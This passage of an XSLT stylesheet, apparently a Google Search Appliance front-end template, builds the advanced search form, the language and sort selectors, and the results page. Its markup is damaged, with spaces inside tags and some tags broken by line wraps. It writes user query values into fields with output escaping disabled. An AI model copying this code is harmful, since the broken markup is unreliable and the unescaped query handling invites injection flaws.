select="/GSP/PARAM[@name='as_oq']/@value"/ >
  </xsl:call-template >
< /xsl:variable >

< xsl:variable name="html_escaped_as_eq" >
  <xsl:call-template name="escape_quot" >
   <xsl:with-param name="string" 
select="/GSP/PARAM[@name='as_eq']/@value"/ >
  </xsl:call-template >
< /xsl:variable >

< html >
< xsl:call-template name="langHeadStart"/ >
< title ><xsl:value-of select="$adv_page_title"/ ></title >
< xsl:call-template name="style"/ >

< !-- script type="text/javascript" -- >
< script >
< xsl:comment >
function setFocus() {
document.f.as_q.focus(); }
function esc(x){
x = escape(x).replace(/\+/g, "%2b");
if (x.substring(0,2)=="\%u") x="";
return x;
}
function collecturl(target, custom) {
var p = new Array();var i = 0;var url="";var z = document.f;
if (z.as_q.value.length) {p[i++] = 'as_q=' + esc(z.as_q.value);}
if (z.as_epq.value.length) {p[i++] = 'as_epq=' + esc(z.as_epq.value);}
if (z.as_oq.value.length) {p[i++] = 'as_oq=' + esc(z.as_oq.value);}
if (z.as_eq.value.length) {p[i++] = 'as_eq=' + esc(z.as_eq.value);}
if (z.as_sitesearch.value.length)
 {p[i++]='as_sitesearch='+esc(z.as_sitesearch.value);}
if (z.as_lq.value.length) {p[i++] = 'as_lq=' + esc(z.as_lq.value);}
if (z.as_occt.options[z.as_occt.selectedIndex].value.length)
 
{p[i++]='as_occt='+esc(z.as_occt.options[z.as_occt.selectedIndex].value);}
if (z.as_dt.options[z.as_dt.selectedIndex].value.length)
 {p[i++]='as_dt='+esc(z.as_dt.options[z.as_dt.selectedIndex].value);}
if (z.lr.options[z.lr.selectedIndex].value != '') {p[i++] = 'lr=' +
 z.lr.options[z.lr.selectedIndex].value;}
if (z.num.options[z.num.selectedIndex].value != '10')
 {p[i++] = 'num=' + z.num.options[z.num.selectedIndex].value;}
if (z.sort.options[z.sort.selectedIndex].value != '')
 {p[i++] = 'sort=' + z.sort.options[z.sort.selectedIndex].value;}
if (typeof(z.client) != 'undefined')
 {p[i++] = 'client=' + esc(z.client.value);}
if (typeof(z.site) != 'undefined')
 {p[i++] = 'site=' + esc(z.site.value);}
if (typeof(z.output) != 'undefined')
 {p[i++] = 'output=' + esc(z.output.value);}
if (typeof(z.proxystylesheet) != 'undefined')
 {p[i++] = 'proxystylesheet=' + esc(z.proxystylesheet.value);}
if (typeof(z.ie) != 'undefined')
 {p[i++] = 'ie=' + esc(z.ie.value);}
if (typeof(z.oe) != 'undefined')
 {p[i++] = 'oe=' + esc(z.oe.value);}
if (typeof(z.restrict) != 'undefined')
 {p[i++] = 'restrict=' + esc(z.restrict.value);}
if (typeof(z.access) != 'undefined')
 {p[i++] = 'access=' + esc(z.access.value);}
if (custom != '')
 {p[i++] = 'proxycustom=' + '<ADVANCED/>';}
if (p.length > 0) {
url = p[0];
for (var j = 1; j < p.length; j++) { url += "&" + p[j]; }}
 location.href = target + '?' + url;
}
// </xsl:comment >
< /script >

 <xsl:call-template name="langHeadEnd"/ >

 <body class="d" onload="setFocus()" >

  <!-- ** Customer's own advanced search page header ** -- >
  <xsl:if test="$choose_adv_search_page_header = 'mine' or
    $choose_adv_search_page_header = 'both'" >
   <xsl:call-template name="my_page_header"/ >
  </xsl:if >

  <!--====Advanced Search Header======-- >
  <xsl:if test="$choose_adv_search_page_header = 'provided' or
    $choose_adv_search_page_header = 'both'" >
   <xsl:call-template name="advanced_search_header"/ >
  </xsl:if >

  <!--====Carry over Search Parameters======-- >
  <form method="get" action="/search" name="f" >
   <xsl:if test="PARAM[@name='client']" >
    <input type="hidden" name="client"
     value="{PARAM[@name='client']/@value}" / >
   </xsl:if >
   <xsl:if test="PARAM[@name='site']" >
    <input type="hidden" name="site" value="{PARAM[@name='site']/@value}"/ 

   </xsl:if >
   <xsl:if test="PARAM[@name='output']" >
    <input type="hidden" name="output"
     value="{PARAM[@name='output']/@value}" / >
   </xsl:if >
   <xsl:if test="PARAM[@name='proxystylesheet']" >
    <input type="hidden" name="proxystylesheet"
     value="{PARAM[@name='proxystylesheet']/@value}" / >
   </xsl:if >
   <xsl:if test="PARAM[@name='ie']" >
    <input type="hidden" name="ie"
     value="{PARAM[@name='ie']/@value}" / >
   </xsl:if >
   <xsl:if test="PARAM[@name='oe']" >
    <input type="hidden" name="oe"
     value="{PARAM[@name='oe']/@value}" / >
   </xsl:if >
   <xsl:if test="PARAM[@name='restrict'] and
       $search_subcollections_xslt = ''" >
    <input type="hidden" name="restrict"
     value="{PARAM[@name='restrict']/@value}" / >
   </xsl:if >

   <!--====Advanced Search Options======-- >

   <table cellpadding="6" cellspacing="0" border="0" width="99%" >
    <tr >
     <td ><b >Advanced Web Search</b ></td >
    </tr >
   </table >

   <table cellspacing="0" cellpadding="3" border="0" width="99%" >
    <tr bgcolor="{$adv_search_panel_bgcolor}" >
     <td >
      <table width="100%" cellspacing="0" cellpadding="0" border="0" >
       <tr bgcolor="{$adv_search_panel_bgcolor}" >
        <td >
         <table width="100%" cellspacing="0" cellpadding="2"
         border="0" >
          <tr >
           <td valign="top" width="15%" ><font size="-1" ><br / >
           <b >Find results</b ></font > </td >

           <td width="85%" >
            <table width="100%" cellpadding="2"
            border="0" cellspacing="0" >
             <tr >
              <td ><font size="-1" >with <b >all</b >
              of the words</font ></td >

              <td >
              <xsl:text disable-output-escaping="yes" >
               <input type="text"
               name="as_q"
               size="25" value="</xsl:text >
              <xsl:value-of disable-output-escaping="yes"
               select="$html_escaped_as_q"/ >
              <xsl:text disable-output-escaping="yes" >"></xsl:text >

              <script type="text/javascript" >
               <xsl:comment >
                document.f.as_q.focus();
               // </xsl:comment >
              </script >
              </td >

              <td valign="top" rowspan="4" >
              <font size="-1" >
              <select name="num" >
               <xsl:choose >
                <xsl:when test="PARAM[(@name='num') and (@value!='10')]" >
                 <option value="10" >10 results</option >
                </xsl:when >
                <xsl:otherwise >
                 <option value="10" selected="selected" >10 
results</option >
                </xsl:otherwise >
               </xsl:choose >
               <xsl:choose >
                <xsl:when test="PARAM[(@name='num') and (@value='20')]" >
                 <option value="20" selected="selected" >20 
results</option >
                </xsl:when >
                 <xsl:otherwise >
                  <option value="20" >20 results</option >
                </xsl:otherwise >
               </xsl:choose >
               <xsl:choose >
                <xsl:when test="PARAM[(@name='num') and (@value='30')]" >
                 <option value="30" selected="selected" >30 
results</option >
                </xsl:when >
                <xsl:otherwise >
                 <option value="30" >30 results</option >
                </xsl:otherwise >
               </xsl:choose >
               <xsl:choose >
                <xsl:when test="PARAM[(@name='num') and (@value='50')]" >
                 <option value="50" selected="selected" >50 
results</option >
                </xsl:when >
                <xsl:otherwise >
                 <option value="50" >50 results</option >
                </xsl:otherwise >
               </xsl:choose >
               <xsl:choose >
                <xsl:when test="PARAM[(@name='num') and (@value='100')]" >
                 <option value="100" selected="selected" >100 
results</option >
                </xsl:when >
                <xsl:otherwise >
                 <option value="100" >100 results</option >
                </xsl:otherwise >
               </xsl:choose >
              </select >
              </font >
     </td >
              <xsl:call-template name="subcollection_menu"/ >
              <td >
              <font size="-1" >
              <input type="submit" name="btnG"
               value="{$search_button_text}" / >
              </font >
              </td >
             </tr >

             <tr >
              <td nowrap="nowrap" ><font size="-1" >with the
              <b >exact phrase</b ></font ></td >

              <td >
           <xsl:text disable-output-escaping="yes" >
               <input type="text"
               name="as_epq"
               size="25" value="</xsl:text >
              <xsl:value-of disable-output-escaping="yes"
               select="$html_escaped_as_epq"/ >
              <xsl:text disable-output-escaping="yes" >"></xsl:text >
              </td >
             </tr >

             <tr >
              <td nowrap="nowrap" ><font size="-1" >with <b >any</b >
              of the words</font ></td >

              <td >
           <xsl:text disable-output-escaping="yes" >
               <input type="text"
               name="as_oq"
               size="25" value="</xsl:text >
              <xsl:value-of disable-output-escaping="yes"
               select="$html_escaped_as_oq"/ >
              <xsl:text disable-output-escaping="yes" >"></xsl:text >
              </td >
             </tr >

             <tr >
              <td nowrap="nowrap" ><font size="-1" ><b >without</b >
              the words</font ></td >

              <td >
           <xsl:text disable-output-escaping="yes" >
               <input type="text"
               name="as_eq"
               size="25" value="</xsl:text >
              <xsl:value-of disable-output-escaping="yes"
               select="$html_escaped_as_eq"/ >
              <xsl:text disable-output-escaping="yes" >"></xsl:text >
              </td >
             </tr >
            </table >
           </td >
          </tr >
         </table >
        </td >
       </tr >

       <tr bgcolor="{$global_bg_color}" >
        <td >
         <table width="100%" cellspacing="0"
         cellpadding="2" border="0" >
          <tr >
           <td width="15%" ><font size="-1" ><b >Language</b ></font ></td 


           <td width="40%" ><font size="-1" >Return pages written
           in</font ></td >
  
     <td ><font size="-1" >
           
         <xsl:choose >
   <xsl:when test="PARAM[(@name='oe') and (@value!='')]" >
             <xsl:text disable-output-escaping="yes" ><select 
name="lr"></xsl:text >
            </xsl:when >
            <xsl:otherwise >
             <xsl:text disable-output-escaping="yes" ><select name="lr" 
onchange="javascript:collecturl('/search', 'adv');"></xsl:text >
            </xsl:otherwise >
           </xsl:choose >

            <option value="" >any language</option >

            <xsl:choose >
             <xsl:when test="PARAM[(@name='lr') and 
(@value='lang_zh-CN')]" >
              <option value="lang_zh-CN"
               selected="selected" >Chinese (Simplified)</option >
             </xsl:when >
             <xsl:otherwise >
              <option value="lang_zh-CN" >Chinese (Simplified)</option >
             </xsl:otherwise >
            </xsl:choose >

            <xsl:choose >
             <xsl:when test="PARAM[(@name='lr') and 
(@value='lang_zh-TW')]" >
              <option value="lang_zh-TW"
               selected="selected" >Chinese (Traditional)</option >
             </xsl:when >
             <xsl:otherwise >
              <option value="lang_zh-TW" >Chinese (Traditional)</option >
             </xsl:otherwise >
            </xsl:choose >

            <xsl:choose >
             <xsl:when test="PARAM[(@name='lr') and (@value='lang_cs')]" >
              <option value="lang_cs" selected="selected" >Czech</option >
             </xsl:when >
             <xsl:otherwise >
              <option value="lang_cs" >Czech</option >
             </xsl:otherwise >
            </xsl:choose >

            <xsl:choose >
             <xsl:when test="PARAM[(@name='lr') and (@value='lang_da')]" >
              <option value="lang_da" selected="selected" >Danish</option 

             </xsl:when >
             <xsl:otherwise >
              <option value="lang_da" >Danish</option >
             </xsl:otherwise >
            </xsl:choose >

            <xsl:choose >
             <xsl:when test="PARAM[(@name='lr') and (@value='lang_nl')]" >
              <option value="lang_nl" selected="selected" >Dutch</option >
             </xsl:when >
             <xsl:otherwise >
              <option value="lang_nl" >Dutch</option >
             </xsl:otherwise >
            </xsl:choose >

            <xsl:choose >
             <xsl:when test="PARAM[(@name='lr') and (@value='lang_en')]" >
              <option value="lang_en" selected="selected" >English</option 

             </xsl:when >
             <xsl:otherwise >
              <option value="lang_en" >English</option >
             </xsl:otherwise >
            </xsl:choose >

            <xsl:choose >
             <xsl:when test="PARAM[(@name='lr') and (@value='lang_et')]" >
              <option value="lang_et" selected="selected" 
Estonian</option >
             </xsl:when >
             <xsl:otherwise >
              <option value="lang_et" >Estonian</option >
             </xsl:otherwise >
            </xsl:choose >

            <xsl:choose >
             <xsl:when test="PARAM[(@name='lr') and (@value='lang_fi')]" >
              <option value="lang_fi" selected="selected" >Finnish</option 

             </xsl:when >
             <xsl:otherwise >
              <option value="lang_fi" >Finnish</option >
             </xsl:otherwise >
            </xsl:choose >

             <xsl:choose >
             <xsl:when test="PARAM[(@name='lr') and (@value='lang_fr')]" >
              <option value="lang_fr" selected="selected" >French</option 

             </xsl:when >
             <xsl:otherwise >
              <option value="lang_fr" >French</option >
             </xsl:otherwise >
            </xsl:choose >

            <xsl:choose >
             <xsl:when test="PARAM[(@name='lr') and (@value='lang_de')]" >
              <option value="lang_de" selected="selected" >German</option 

             </xsl:when >
             <xsl:otherwise >
              <option value="lang_de" >German</option >
             </xsl:otherwise >
            </xsl:choose >

            <xsl:choose >
             <xsl:when test="PARAM[(@name='lr') and (@value='lang_el')]" >
              <option value="lang_el" selected="selected" >Greek</option >
             </xsl:when >
             <xsl:otherwise >
              <option value="lang_el" >Greek</option >
             </xsl:otherwise >
            </xsl:choose >

             <xsl:choose >
             <xsl:when test="PARAM[(@name='lr') and (@value='lang_iw')]" >
              <option value="lang_iw" selected="selected" >Hebrew</option 

             </xsl:when >
             <xsl:otherwise >
              <option value="lang_iw" >Hebrew</option >
             </xsl:otherwise >
            </xsl:choose >

            <xsl:choose >
             <xsl:when test="PARAM[(@name='lr') and (@value='lang_hu')]" >
              <option value="lang_hu" selected="selected" 
Hungarian</option >
             </xsl:when >
             <xsl:otherwise >
              <option value="lang_hu" >Hungarian</option >
             </xsl:otherwise >
            </xsl:choose >

            <xsl:choose >
             <xsl:when test="PARAM[(@name='lr') and (@value='lang_is')]" >
              <option value="lang_is" selected="selected" 
Icelandic</option >
             </xsl:when >
             <xsl:otherwise >
              <option value="lang_is" >Icelandic</option >
             </xsl:otherwise >
            </xsl:choose >

            <xsl:choose >
             <xsl:when test="PARAM[(@name='lr') and (@value='lang_it')]" >
              <option value="lang_it" selected="selected" >Italian</option 

             </xsl:when >
             <xsl:otherwise >
              <option value="lang_it" >Italian</option >
             </xsl:otherwise >
            </xsl:choose >

            <xsl:choose >
             <xsl:when test="PARAM[(@name='lr') and (@value='lang_ja')]" >
              <option value="lang_ja" selected="selected" 
Japanese</option >
             </xsl:when >
             <xsl:otherwise >
              <option value="lang_ja" >Japanese</option >
             </xsl:otherwise >
            </xsl:choose >

            <xsl:choose >
             <xsl:when test="PARAM[(@name='lr') and (@value='lang_ko')]" >
              <option value="lang_ko" selected="selected" >Korean</option 

             </xsl:when >
             <xsl:otherwise >
              <option value="lang_ko" >Korean</option >
             </xsl:otherwise >
            </xsl:choose >

            <xsl:choose >
             <xsl:when test="PARAM[(@name='lr') and (@value='lang_lv')]" >
              <option value="lang_lv" selected="selected" >Latvian</option 

             </xsl:when >
             <xsl:otherwise >
              <option value="lang_lv" >Latvian</option >
             </xsl:otherwise >
            </xsl:choose >

            <xsl:choose >
             <xsl:when test="PARAM[(@name='lr') and (@value='lang_lt')]" >
              <option value="lang_lt" selected="selected" 
Lithuanian</option >
             </xsl:when >
             <xsl:otherwise >
              <option value="lang_lt" >Lithuanian</option >
             </xsl:otherwise >
            </xsl:choose >

            <xsl:choose >
             <xsl:when test="PARAM[(@name='lr') and (@value='lang_no')]" >
              <option value="lang_no" selected="selected" 
Norwegian</option >
             </xsl:when >
             <xsl:otherwise >
              <option value="lang_no" >Norwegian</option >
             </xsl:otherwise >
            </xsl:choose >

            <xsl:choose >
             <xsl:when test="PARAM[(@name='lr') and (@value='lang_pl')]" >
              <option value="lang_pl" selected="selected" >Polish</option 

             </xsl:when >
             <xsl:otherwise >
              <option value="lang_pl" >Polish</option >
             </xsl:otherwise >
            </xsl:choose >

            <xsl:choose >
             <xsl:when test="PARAM[(@name='lr') and (@value='lang_pt')]" >
              <option value="lang_pt" selected="selected" 
Portuguese</option >
             </xsl:when >
             <xsl:otherwise >
              <option value="lang_pt" >Portuguese</option >
             </xsl:otherwise >
            </xsl:choose >

            <xsl:choose >
             <xsl:when test="PARAM[(@name='lr') and (@value='lang_ro')]" >
              <option value="lang_ro" selected="selected" 
Romanian</option >
             </xsl:when >
             <xsl:otherwise >
              <option value="lang_ro" >Romanian</option >
             </xsl:otherwise >
            </xsl:choose >

            <xsl:choose >
             <xsl:when test="PARAM[(@name='lr') and (@value='lang_ru')]" >
              <option value="lang_ru" selected="selected" >Russian</option 

             </xsl:when >
             <xsl:otherwise >
              <option value="lang_ru" >Russian</option >
             </xsl:otherwise >
            </xsl:choose >

            <xsl:choose >
             <xsl:when test="PARAM[(@name='lr') and (@value='lang_es')]" >
              <option value="lang_es" selected="selected" >Spanish</option 

             </xsl:when >
             <xsl:otherwise >
              <option value="lang_es" >Spanish</option >
             </xsl:otherwise >
            </xsl:choose >

             <xsl:choose >
             <xsl:when test="PARAM[(@name='lr') and (@value='lang_sv')]" >
              <option value="lang_sv" selected="selected" >Swedish</option 

             </xsl:when >
             <xsl:otherwise >
              <option value="lang_sv" >Swedish</option >
             </xsl:otherwise >
            </xsl:choose >
           <xsl:text disable-output-escaping="yes" ></select></xsl:text >
     </font ></td >
          </tr >
         </table >
        </td >
       </tr >

       <tr bgcolor="{$global_bg_color}" >
        <td >
         <table width="100%" cellspacing="0"
         cellpadding="2" border="0" >
          <tr >
           <td width="15%" ><font size="-1" ><b >Occurrences</b ></font 
</td >

           <td nowrap="nowrap" width="40%" ><font size="-1" >Return
           results where my terms occur</font ></td >

           <td ><font size="-1" ><select
           name="as_occt" >
            <xsl:choose >
             <xsl:when test="PARAM[(@name='as_occt') and (@value!='any')]" 

              <option value="any" > anywhere in the page </option >
             </xsl:when >
             <xsl:otherwise >
              <option value="any" selected="selected" >
               anywhere in the page
              </option >
             </xsl:otherwise >
            </xsl:choose >
            <xsl:choose >
             <xsl:when test="PARAM[(@name='as_occt') and 
(@value='title')]" >
              <option value="title" selected="selected" >in the title of 
the page</option >
             </xsl:when >
             <xsl:otherwise >
              <option value="title" >in the title of the page</option >
             </xsl:otherwise >
            </xsl:choose >
            <xsl:choose >
             <xsl:when test="PARAM[(@name='as_occt') and (@value='url')]" 

              <option value="url" selected="selected" >in the url of the 
page</option >
             </xsl:when >
             <xsl:otherwise >
              <option value="url" >in the url of the page</option >
             </xsl:otherwise >
            </xsl:choose >
           </select ></font ></td >
          </tr >
         </table >
        </td >
       </tr >

       <tr bgcolor="{$global_bg_color}" >
        <td >
         <table width="100%" cellpadding="2"
         cellspacing="0" border="0" >
          <tr >
           <td width="15%" ><font size="-1" ><b >Domains</b ></font ></td 


           <td width="40%" nowrap="nowrap" ><font size="-1" ><select
           name="as_dt" >
            <xsl:choose >
             <xsl:when test="PARAM[(@name='as_dt') and (@value='i')]" >
              <option value="i" selected="selected" >Only</option >
             </xsl:when >
             <xsl:otherwise >
              <option value="i" >Only</option >
             </xsl:otherwise >
            </xsl:choose >
            <xsl:choose >
             <xsl:when test="PARAM[(@name='as_dt') and (@value='e')]" >
              <option value="e" selected="selected" >Don't</option >
             </xsl:when >
             <xsl:otherwise >
              <option value="e" >Don't</option >
             </xsl:otherwise >
            </xsl:choose >
           </select >return results from the site or domain</font ></td >

           <td >
            <table cellpadding="0" cellspacing="0"
            border="0" >
             <tr >
              <td >
               <xsl:choose >
                <xsl:when test="PARAM[@name='as_sitesearch']" >
                 <input type="text" size="25"
                 value="{PARAM[@name='as_sitesearch']/@value}"
                 name="as_sitesearch" / >
                </xsl:when >
                <xsl:otherwise >
                 <input type="text" size="25" value="" 
name="as_sitesearch" / >
                </xsl:otherwise >
               </xsl:choose >
              </td >
             </tr >

             <tr >
              <td valign="top" nowrap="nowrap" ><font size="-1" >
               <i >e.g. google.com, .org</i ></font ></td >
             </tr >
            </table >
           </td >
          </tr >

          <!-- Sort by Date feature -- >
    <tr >
           <td width="15%" ><font size="-1" ><b >Sort</b ></font ></td >

           <td width="40%" nowrap="nowrap" ><font size="-1" ><select
           name="sort" >
            <xsl:choose >
             <xsl:when test="PARAM[(@name='sort') and (@value='')]" >
              <option value="" selected="selected" >by Relevance</option >
             </xsl:when >
             <xsl:otherwise >
              <option value="" >by Relevance</option >
             </xsl:otherwise >
            </xsl:choose >
            <xsl:choose >
             <xsl:when test="PARAM[(@name='sort') and 
(@value='date:D:S:d1')]" >
              <option value="date:D:S:d1" selected="selected" >by 
Date</option >
             </xsl:when >
             <xsl:otherwise >
              <option value="date:D:S:d1" >by Date</option >
             </xsl:otherwise >
            </xsl:choose >
           </select ></font ></td >
          </tr >
          <!-- Secure Search feature -- >
          <xsl:if test="$show_secure_radio != '0'" >
    <tr >
           <td width="15%" ><font size="-1" ><b >Security</b ></font ></td 


           <td width="40%" nowrap="nowrap" ><font size="-1" >
            <xsl:choose >
             <xsl:when test="$access='p'" >
              <input type="radio" name="access" value="p" 
checked="checked" / >Search public content only
             </xsl:when >
            <xsl:otherwise >
             <input type="radio" name="access" value="p"/ >Search public 
content only
            </xsl:otherwise >
            </xsl:choose >
            <xsl:choose >
             <xsl:when test="$access='a'" >
              <input type="radio" name="access" value="a" 
checked="checked" / >Search public and secure content (login required)
             </xsl:when >
            <xsl:otherwise >
             <input type="radio" name="access" value="a"/ >Search public 
and secure content (login required)
            </xsl:otherwise >
            </xsl:choose >
           </font ></td >
          </tr >
          </xsl:if >
         </table >
        </td >
       </tr >

      </table >
     </td >
    </tr >
   </table >
   <br / >
   <br / >

   <!--====Page-Specific Search======-- >
   <table cellpadding="6" cellspacing="0" border="0" >
    <tr >
     <td ><b >Page-Specific Search</b ></td >
    </tr >
   </table >

   <table cellspacing="0" cellpadding="3" border="0"
   width="99%" >
    <tr bgcolor="{$adv_search_panel_bgcolor}" >
     <td >
      <table width="100%" cellpadding="0" cellspacing="0"
      border="0" >
       <tr bgcolor="{$adv_search_panel_bgcolor}" >
        <td >

         <table width="100%" cellpadding="2"
         cellspacing="0" border="0" >
         <form method="get" action="/search" name="h" >

          <tr bgcolor="{$global_bg_color}" >
           <td width="15%" ><font size="-1" ><b >Links</b ></font ></td >

           <td width="40%" nowrap="nowrap" ><font size="-1" >Find pages
           that link to the page</font > </td >

           <td nowrap="nowrap" >
             <xsl:choose >
              <xsl:when test="PARAM[@name='as_lq']" >
               <input type="text" size="30"
                value="{PARAM[@name='as_lq']/@value}"
                    name="as_lq" / >
             </xsl:when >
             <xsl:otherwise >
              <input type="text" size="30" value="" name="as_lq" / >
             </xsl:otherwise >
            </xsl:choose >
            <font size="-1" >
            <input type="submit" name="btnG" value="{$search_button_text}" 
/ ></font >
           </td >
          </tr >
         </form >
         </table >
        </td >
       </tr >
      </table >
     </td >
    </tr >
   </table >

   <xsl:call-template name="copyright"/ >

  </form >

  <!-- ** Customer's own advanced search page footer ** -- >
  <xsl:call-template name="my_page_footer"/ >

 </body >
< /html >
< /xsl:template >


< !-- ***********************************
 Resend query with filter=p to disable path_filtering
 if there is only one result cluster (do not customize)
   *********************************** -- >
< xsl:template name="redirect_if_few_results" >
 <xsl:variable name="count" select="count(/GSP/RES/R)"/ >
 <xsl:variable name="start" select="/GSP/RES/@SN"/ >
 <xsl:variable name="filterall"
  select="count(/GSP/PARAM[@name='filter']) = 0"/ >
 <xsl:variable name="filter" select="/GSP/PARAM[@name='filter']/@value"/ >
 
 <xsl:if test="$count = 2 and $start = 1 and ($filterall or $filter = 
'1')" >
   <meta HTTP-EQUIV="REFRESH" content="0;url={$filter_url}p"/ >
 </xsl:if >
< /xsl:template >


< !-- ***********************************
 Search results (do not customize)
   *********************************** -- >
< xsl:template name="search_results" >
< html >

 <!-- ** HTML header and style ** -- >
 <xsl:call-template name="langHeadStart"/ >
  <xsl:call-template name="redirect_if_few_results"/ >
  <title ><xsl:value-of select="$result_page_title"/ >: <xsl:value-of
   disable-output-escaping="yes" select="$html_escaped_query"/ >
  </title >
  <xsl:call-template name="style"/ >
  <script type="text/javascript" >
   <xsl:comment >
    function resetForms() {
     for (var i = 0; i < document.forms.length; i++ ) {
       document.forms[i].reset();
     }
    }
   //</xsl:comment >
  </script >
 <xsl:call-template name="langHeadEnd"/ >

 <body onLoad="resetForms()" >

 <!-- ** Customer's own result page header ** -- >
 <xsl:if test="$choose_result_page_header = 'mine' or
  $choose_result_page_header = 'both'" >
  <xsl:call-template name="my_page_header"/ >
 </xsl:if >

 <!-- ** Result page header ** -- >
 <xsl:if test="$choose_result_page_header = 'provided' or
  $choose_result_page_header = 'both'" >
  <xsl:call-template name="result_page_header" / >
 </xsl:if >

 <!-- ** Top separation bar ** -- >
  <xsl:if test="Q != ''" >
   <xsl:call-template name="top_sep_bar" >
    <xsl:with-param name="query" select="Q"/ >
    <xsl:with-param name="time" select="TM"/ >
   </xsl:call-template >
  </xsl:if >

  <xsl:if test="$choose_sep_bar = 'line'" >
   <hr size="1" color="gray"/ >
  </xsl:if >

  <!-- ** Handle results (if any) ** -- >
  <xsl:choose >
   <xsl:when test="RES or GM or Spelling or Synonyms or CT" >
    <xsl:call-template name="results" >
     <xsl:with-param name="query" select="Q"/ >
     <xsl:with-param name="time" select="TM"/ >
    </xsl:call-template >
   </xsl:when >
   <xsl:when test="Q=''" >
   </xsl:when >
   <xsl:otherwise >
    <xsl:call-template name="no_RES" >
     <xsl:with-param name="query" select="Q"/ >
    </xsl:call-template >
   </xsl:otherwise >
  </xsl:choose >

  <!-- ** Google footer ** -- >
  <xsl:call-template name="copyright"/ >

  <!-- ** Customer's own result page footer ** -- >
  <xsl:call-template name="my_page_footer"/ >

 <!-- ** HTML footer ** -- >
 </body >
< /html >

< /xsl:template >


< !-- ***********************************
 Subcollection menu beside the search box
   *********************************** -- >
< xsl:template name="subcollection_menu" >
 <xsl:if test="$search_subcollections_xslt != ''" >
  <td valign="middle" >
   <select name="restrict" >
    <xsl:choose >
     <xsl:when test="PARAM[(@name='restrict') and (@value!='')]" >
      <option value="" >All documents</option >
     </xsl:when >
     <xsl:otherwise >
      <option value="" selected="selected" >All documents</option >
     </xsl:otherwise >
    </xsl:choose >
    
   </select >
  </td >
 </xsl:if >
< /xsl:template >

< !-- ***********************************
 Search box input form
   *********************************** -- >
< xsl:template name="search_box" >
 <form name="gs" method="GET" action="/search" >
   <table cellpadding="0" cellspacing="0" >
    <tr >
     <td valign="middle" >
     <font size="-1" >
      <xsl:text disable-output-escaping="yes" >
       <input type="text" name="q"
       size="</xsl:text >
      <xsl:value-of select="$search_box_size"/ >
      <xsl:text disable-output-escaping="yes"
        >" maxlength="256" value="</xsl:text >
      <xsl:value-of disable-output-escaping="yes"
      select="$html_escaped_query"/ >
      <xsl:text disable-output-escaping="yes" >"></xsl:text >
     </font >
     </td >
     <xsl:call-template name="subcollection_menu"/ >
     <td valign="middle" >
     <font size="-1" >
      <xsl:call-template name="nbsp"/ >
       <xsl:choose >
       <xsl:when test="$choose_search_button = 'image'" >
     <input type="image" name="btnG" src="{$search_button_image_url}"
            valign="bottom" width="60" height="26"
            border="0" value="{$search_button_text}"/ >
       </xsl:when >
       <xsl:otherwise >
        <input type="submit" name="btnG" value="{$search_button_text}"/ >
       </xsl:otherwise >
       </xsl:choose >
     </font >
     </td >
    </tr >
    <xsl:if test="$show_secure_radio != '0'" >
    <tr >
     <td colspan="2" >
     <font size="-1" >Search:
      <xsl:choose >
       <xsl:when test="$access='p'" >
        <input type="radio" name="access" value="p" checked="checked" / 
public content
       </xsl:when >
       <xsl:otherwise >
        <input type="radio" name="access" value="p"/ >public content
       </xsl:otherwise >
      </xsl:choose >
      <xsl:choose >
       <xsl:when test="$access='a'" >
        <input type="radio" name="access" value="a" checked="checked" / 
public and secure content
       </xsl:when >
       <xsl:otherwise >
        <input type="radio" name="access" value="a"/ >public and secure 
content
       </xsl:otherwise >
      </xsl:choose >
     </font >
     </td >
    </tr >
    </xsl:if >
   </table >
  <xsl:text >
  </xsl:text >
  <xsl:call-template name="form_params"/ >
 </form >
< /xsl:template >


< !-- ***********************************
 Bottom search box (do not customized)
   *********************************** -- >
< xsl:template name="bottom_search_box" >
  <br clear="all"/ >
  <br/ >
  <center >
  <table border="0" cellpadding="2" cellspacing="0" >
   <tr >
    <td nowrap="1" >
     <xsl:call-template name="search_box"/ >
    </td >
   </tr >
  </table >
  </center >
< /xsl:template >


< !-- ***********************************
 Sort-by criteria: sort by date/relevance
   *********************************** -- >
< xsl:template name="sort_by" >
 <xsl:variable name="sort_by_relevance_url" ><xsl:for-each
  select="/GSP/PARAM[(@name != 'sort') and
      (@name != 'start')]" >
   <xsl:value-of select="@name"/ ><xsl:text >=</xsl:text >
   <xsl:value-of select="@original_value"/ >
   <xsl:if test="position() != last()" >
    <xsl:text disable-output-escaping="yes" >&</xsl:text >
   </xsl:if >
  </xsl:for-each >
 </xsl:variable >
 <xsl:variable name="sort_by_date_url" >
  <xsl:value-of select="$search_url"
   / >&sort=date%3AD%3AS%3Ad1</xsl:variable >

 <table ><tr valign='top' ><td >
 <span class="s" >
 <font color="{$global_text_color}" >
  <xsl:text >Sort by: </xsl:text >
 </font >
 <xsl:choose >
  <xsl:when test="/GSP/PARAM[@name = 'sort' and 
starts-with(@value,'date')]" >
   <font color="{$global_text_color}" >
   <xsl:text >Date / </xsl:text >
   </font >
   <a href="/search?{$sort_by_relevance_url}" >Relevance</a >
  </xsl:when >
  <xsl:otherwise >
   <a href="/search?{$sort_by_date_url}" >Date</a >
   <font color="{$global_text_color}" >
   <xsl:text > / Relevance</xsl:text >
   </font >
  </xsl:otherwise >
 </xsl:choose >
 </span >
 </td ></tr ></table >
< /xsl:template >

< !-- ***********************************
 Output all results
   *********************************** -- >
< xsl:template name="results" >
 <xsl:param name="query"/ >
 <xsl:param name="time"/ >

 <!-- ** Add top navigation/sort-by bar ** -- >
 <table width="100%" >
 <tr >
  <xsl:if test="$show_top_navigation != '0'" >
   <td align="left" >
    <xsl:call-template name="google_navigation" >
     <xsl:with-param name="prev" select="RES/NB/PU"/ >
     <xsl:with-param name="next" select="RES/NB/NU"/ >
     <xsl:with-param name="view_begin" select="RES/@SN"/ >
     <xsl:with-param name="view_end" select="RES/@EN"/ >
     <xsl:with-param name="guess" select="RES/M"/ >
     <xsl:with-param name="navigation_style" select="'top'"/ >
    </xsl:call-template >
   </td >
  </xsl:if >
  <xsl:if test="$show_sort_by != '0'" >
  <td align="right" >
   <xsl:call-template name="sort_by"/ >
  </td >
  </xsl:if >
 </tr >
 </table >

 <!-- ** Handle spelling suggestions, if any ** -- >
  <xsl:if test="$show_spelling != '0'" >
   <xsl:call-template name="spelling"/ >
  </xsl:if >

 <!-- ** Handle synonyms, if any ** -- >
  <xsl:if test="$show_synonyms != '0'" >
   <xsl:call-template name="synonyms"/ >
  </xsl:if >

 <!-- ** Output results details ** -- >
  <div >
  <!-- for keymatch results -- >
  <xsl:if test="$show_keymatch != '0'" >
   <xsl:apply-templates select="/GSP/GM"/ >
  </xsl:if >
 
  <!-- for real results -- >
